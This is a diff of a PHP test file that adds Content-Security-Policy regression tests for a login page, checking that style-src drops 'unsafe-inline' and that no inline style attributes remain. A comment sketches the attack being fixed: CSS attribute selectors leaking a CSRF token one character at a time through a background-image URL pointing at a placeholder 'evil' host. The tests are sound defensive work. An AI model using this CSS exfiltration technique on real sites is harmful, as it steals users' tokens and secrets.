|
@@ -80,6 +80,49 @@ final class CspHeaderTest extends AppTestCase
|
|
|
);
|
|
);
|
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
+ public function testStyleSrcDropsUnsafeInline(): void
|
|
|
|
|
+ {
|
|
|
|
|
+ // SEC_REVIEW F62: `style-src 'unsafe-inline'` allowed CSS
|
|
|
|
|
+ // attribute selectors that exfiltrate the CSRF token (or
|
|
|
|
|
+ // any other secret in the DOM) char-by-char via
|
|
|
|
|
+ // `background-image: url(//evil/?p=…)`. The policy now
|
|
|
|
|
+ // enforces `style-src 'self'` only — inline `style="…"`
|
|
|
|
|
+ // attributes have been migrated to data-attribute-driven
|
|
|
|
|
+ // stylesheet rules.
|
|
|
|
|
+ $response = $this->request('GET', '/login');
|
|
|
|
|
+ $csp = $response->getHeaderLine('Content-Security-Policy');
|
|
|
|
|
+
|
|
|
|
|
+ self::assertStringNotContainsString("'unsafe-inline'", self::styleSrc($csp));
|
|
|
|
|
+ self::assertSame("style-src 'self'", self::styleSrc($csp));
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ public function testNoInlineStyleAttributesInLoginTemplate(): void
|
|
|
|
|
+ {
|
|
|
|
|
+ // F62 regression: catch any future template change that
|
|
|
|
|
+ // re-introduces `style="…"` (which would silently break
|
|
|
|
|
+ // because the policy refuses to apply the inline style).
|
|
|
|
|
+ $response = $this->request('GET', '/login');
|
|
|
|
|
+ $body = (string) $response->getBody();
|
|
|
|
|
+
|
|
|
|
|
+ self::assertDoesNotMatchRegularExpression(
|
|
|
|
|
+ '/\sstyle=\s*"/i',
|
|
|
|
|
+ $body,
|
|
|
|
|
+ 'login layout must not carry any inline `style="…"` attributes (F62)',
|
|
|
|
|
+ );
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ private static function styleSrc(string $csp): string
|
|
|
|
|
+ {
|
|
|
|
|
+ foreach (explode(';', $csp) as $part) {
|
|
|
|
|
+ $part = trim($part);
|
|
|
|
|
+ if (str_starts_with($part, 'style-src')) {
|
|
|
|
|
+ return $part;
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ return '';
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
public function testNoBareInlineEventHandlersLeftInLoginTemplate(): void
|
|
public function testNoBareInlineEventHandlersLeftInLoginTemplate(): void
|
|
|
{
|
|
{
|
|
|
$response = $this->request('GET', '/login');
|
|
$response = $this->request('GET', '/login');
|